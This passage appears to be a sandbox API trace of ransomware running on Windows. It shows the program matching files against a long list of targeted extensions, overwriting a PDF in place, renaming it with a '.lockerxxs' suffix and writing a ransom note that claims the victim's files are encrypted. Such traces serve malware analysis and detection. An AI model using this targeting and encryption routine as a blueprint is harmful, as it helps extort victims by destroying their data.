pszSpec="*.dbf") returned 0 [0068.618] lstrlenA (lpString="*.dbf") returned 5 [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.618] lstrlenA (lpString="*.myox") returned 6 [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.618] lstrlenA (lpString="*.myo") returned 5 [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.618] lstrlenA (lpString="*.qbw") returned 5 [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.618] lstrlenA (lpString="*.qbb") returned 5 [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.618] lstrlenA (lpString="*.qbm") returned 5 [0068.618] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.618] lstrlenA (lpString="*.qbo") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.619] lstrlenA (lpString="*.qbx") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.619] lstrlenA (lpString="*.qba") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.619] lstrlenA (lpString="*.qby") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.619] lstrlenA (lpString="*.qbj") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.619] lstrlenA (lpString="*.ofx") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.619] lstrlenA (lpString="*.qif") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.619] lstrlenA (lpString="*.mye") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.619] lstrlenA (lpString="*.mbox") returned 6 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.619] lstrlenA (lpString="*.eml") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.619] lstrlenA (lpString="*.pst") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.619] lstrlenA (lpString="*.ost") returned 5 [0068.619] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.620] lstrlenA (lpString="*.idx") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.620] lstrlenA (lpString="*.dbx") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.620] lstrlenA (lpString="*.sql") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.620] lstrlenA (lpString="*.mdb") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.620] lstrlenA (lpString="*.fdb") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.620] lstrlenA (lpString="*.wab") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.620] lstrlenA (lpString="*.dat") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.620] lstrlenA (lpString="*.txt") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.620] lstrlenA (lpString="*.jpeg") returned 6 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.620] lstrlenA (lpString="*.jpg") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.620] lstrlenA (lpString="*.png") returned 5 [0068.620] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.621] lstrlenA (lpString="*.php") returned 5 [0068.621] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.621] lstrlenA (lpString="*.cs") returned 4 [0068.621] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.621] lstrlenA (lpString="*.cpp") returned 5 [0068.621] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.621] lstrlenA (lpString="*.rar") returned 5 [0068.621] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.621] lstrlenA (lpString="*.zip") returned 5 [0068.621] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.621] lstrlenA (lpString="*.html") returned 6 [0068.621] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.621] lstrlenA (lpString="*.htm") returned 5 [0068.621] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.621] lstrlenA (lpString="*.xlsx") returned 6 [0068.621] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.621] lstrlenA (lpString="*.xls") returned 5 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.622] lstrlenA (lpString="*.mp4") returned 5 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.622] lstrlenA (lpString="*.ppt") returned 5 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.622] lstrlenA (lpString="*.pptx") returned 6 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.622] lstrlenA (lpString="*.doc") returned 5 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.622] lstrlenA (lpString="*.dot") returned 5 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.622] lstrlenA (lpString="*.docx") returned 6 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.622] lstrlenA (lpString="*.7z") returned 4 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.622] lstrlenA (lpString="*.tar") returned 5 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.622] lstrlenA (lpString="*.bz2") returned 5 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.622] lstrlenA (lpString="*.gz") returned 4 [0068.622] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.623] lstrlenA (lpString="*.mkv") returned 5 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.623] lstrlenA (lpString="*.eml") returned 5 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.623] lstrlenA (lpString="*.msg") returned 5 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.623] lstrlenA (lpString="*.edb") returned 5 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.623] lstrlenA (lpString="*.accdb") returned 7 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.623] lstrlenA (lpString="*.odb") returned 5 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.623] lstrlenA (lpString="*.java") returned 6 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.623] lstrlenA (lpString="*.asm") returned 5 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.623] lstrlenA (lpString="*.pfx") returned 5 [0068.623] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.623] lstrlenA (lpString="*.pem") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.624] lstrlenA (lpString="*.p12") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.624] lstrlenA (lpString="*.gpg") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.624] lstrlenA (lpString="*.vsd") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.624] lstrlenA (lpString="*.odg") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.624] lstrlenA (lpString="*.raw") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.624] lstrlenA (lpString="*.nef") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.624] lstrlenA (lpString="*.svg") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.624] lstrlenA (lpString="*.psd") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.624] lstrlenA (lpString="*.vmx") returned 5 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.624] lstrlenA (lpString="*.vmdk") returned 6 [0068.624] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.625] lstrlenA (lpString="*.vdi") returned 5 [0068.625] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.625] lstrlenA (lpString="*.lay6") returned 6 [0068.625] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.625] lstrlenA (lpString="*.mpeg") returned 6 [0068.625] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.625] lstrlenA (lpString="*.djvu") returned 6 [0068.625] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.625] lstrlenA (lpString="*.tiff") returned 6 [0068.625] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.625] lstrlenA (lpString="*.backup") returned 8 [0068.625] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.625] lstrlenA (lpString="*.pdf") returned 5 [0068.625] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" [0068.625] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" [0068.625] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf." [0068.625] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.lockerxxs" [0068.625] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.626] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5416 [0068.626] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4)) returned 1 [0068.626] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.626] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x53f0, lpOverlapped=0x0) returned 1 [0068.629] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf") returned="DefaultID.pdf" [0068.629] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.630] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x53f0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x53f0, lpOverlapped=0x0) returned 1 [0068.630] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.630] CloseHandle (hObject=0x94) returned 1 [0068.631] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf.lockerxxs")) returned 1 [0068.632] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5416, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.632] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.633] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="NLD", cAlternateFileName="")) returned 1 [0068.633] lstrcmpA (lpString1=".", lpString2="NLD") returned -1 [0068.633] lstrcmpA (lpString1="..", lpString2="NLD") returned -1 [0068.633] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.633] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="NLD" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" [0068.633] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD") returned 63 [0068.633] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.634] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.634] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.634] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.634] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.634] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10929, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.635] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.635] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.635] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.635] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.635] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*.*") returned="*.*" [0068.635] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\" [0068.635] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\") returned="" [0068.635] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\HOW TO DECRYPT FILES.txt" [0068.635] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\how to decrypt files.txt")) returned 0xffffffff [0068.635] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.636] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering 